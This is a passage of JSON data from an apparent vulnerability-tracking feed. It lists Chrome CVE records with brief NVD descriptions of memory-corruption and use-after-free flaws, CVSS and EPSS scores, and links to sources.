fixes.","publishedAt":"2026-10-20T22:19:22.703Z","updatedAt":"2026-10-21T17:07:42.930Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113287","asOf":"2026-10-21T17:07:42.930Z"},"epss":{"probability":0.00425,"percentile":0.36536,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113287&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113287","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113287","type":"primary","publishedAt":"2026-10-20T22:19:22.703Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113287&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113287, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113286","cveId":"CVE-2026-113286","aliases":[],"kind":"vulnerability","title":"Memory corruption in Google Lens in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Google Lens in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in Google Lens in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:22.590Z","updatedAt":"2026-10-21T17:07:49.803Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113286","asOf":"2026-10-21T17:07:49.803Z"},"epss":{"probability":0.00425,"percentile":0.36533,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113286&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113286","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113286","type":"primary","publishedAt":"2026-10-20T22:19:22.590Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113286&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113286, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113285","cveId":"CVE-2026-113285","aliases":[],"kind":"vulnerability","title":"Memory corruption in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Memory corruption in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:22.483Z","updatedAt":"2026-10-22T12:04:24.297Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113285","asOf":"2026-10-22T12:04:24.297Z"},"epss":{"probability":0.00425,"percentile":0.36536,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113285&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113285","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113285","type":"primary","publishedAt":"2026-10-20T22:19:22.483Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113285&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113285, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113284","cveId":"CVE-2026-113284","aliases":[],"kind":"vulnerability","title":"Memory corruption in XML in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in XML in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Memory corruption in XML in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:22.360Z","updatedAt":"2026-10-21T17:07:55.280Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113284","asOf":"2026-10-21T17:07:55.280Z"},"epss":{"probability":0.00425,"percentile":0.36537,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113284&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113284","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113284","type":"primary","publishedAt":"2026-10-20T22:19:22.360Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113284&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113284, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113282","cveId":"CVE-2026-113282","aliases":[],"kind":"vulnerability","title":"Use after free in Views in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...","summary":"Use after free in Views in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Views in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:22.133Z","updatedAt":"2026-10-22T12:04:58.530Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113282","asOf":"2026-10-22T12:04:58.530Z"},"epss":{"probability":0.00425,"percentile":0.36537,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113282&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113282","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113282","type":"primary","publishedAt":"2026-10-20T22:19:22.133Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113282&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113282, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113281","cveId":"CVE-2026-113281","aliases":[],"kind":"vulnerability","title":"Memory corruption in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...","summary":"Memory corruption in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:22.017Z","updatedAt":"2026-10-21T17:08:00.167Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113281","asOf":"2026-10-21T17:08:00.167Z"},"epss":{"probability":0.00425,"percentile":0.36534,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113281&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113281","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113281","type":"primary","publishedAt":"2026-10-20T22:19:22.017Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113281&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113281, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113280","cveId":"CVE-2026-113280","aliases":[],"kind":"vulnerability","title":"Memory corruption in Paint in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Paint in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","detail":"Memory corruption in Paint in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:21.897Z","updatedAt":"2026-10-21T17:08:04.187Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113280","asOf":"2026-10-21T17:08:04.187Z"},"epss":{"probability":0.00456,"percentile":0.39345,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113280&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113280","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113280","type":"primary","publishedAt":"2026-10-20T22:19:21.897Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113280&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113280, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113279","cveId":"CVE-2026-113279","aliases":[],"kind":"vulnerability","title":"Memory corruption in Accessibility in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...","summary":"Memory corruption in Accessibility in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","detail":"Memory corruption in Accessibility in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:21.770Z","updatedAt":"2026-10-21T17:08:08.317Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113279","asOf":"2026-10-21T17:08:08.317Z"},"epss":{"probability":0.00456,"percentile":0.39345,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113279&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113279","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113279","type":"primary","publishedAt":"2026-10-20T22:19:21.770Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113279&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113279, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113278","cveId":"CVE-2026-113278","aliases":[],"kind":"vulnerability","title":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:21.670Z","updatedAt":"2026-10-21T17:08:12.853Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113278","asOf":"2026-10-21T17:08:12.853Z"},"epss":{"probability":0.00425,"percentile":0.36536,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113278&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113278","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113278","type":"primary","publishedAt":"2026-10-20T22:19:21.670Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113278&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113278, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113276","cveId":"CVE-2026-113276","aliases":[],"kind":"vulnerability","title":"Memory corruption in Passwords in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...","summary":"Memory corruption in Passwords in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Passwords in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:21.443Z","updatedAt":"2026-10-22T12:05:36.233Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113276","asOf":"2026-10-22T12:05:36.233Z"},"epss":{"probability":0.00416,"percentile":0.35631,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113276&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113276","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113276","type":"primary","publishedAt":"2026-10-20T22:19:21.443Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113276&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113276, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113275","cveId":"CVE-2026-113275","aliases":[],"kind":"vulnerability","title":"Use after free in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:21.330Z","updatedAt":"2026-10-21T17:08:16.617Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113275","asOf":"2026-10-21T17:08:16.617Z"},"epss":{"probability":0.00425,"percentile":0.36532,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113275&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113275","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113275","type":"primary","publishedAt":"2026-10-20T22:19:21.330Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 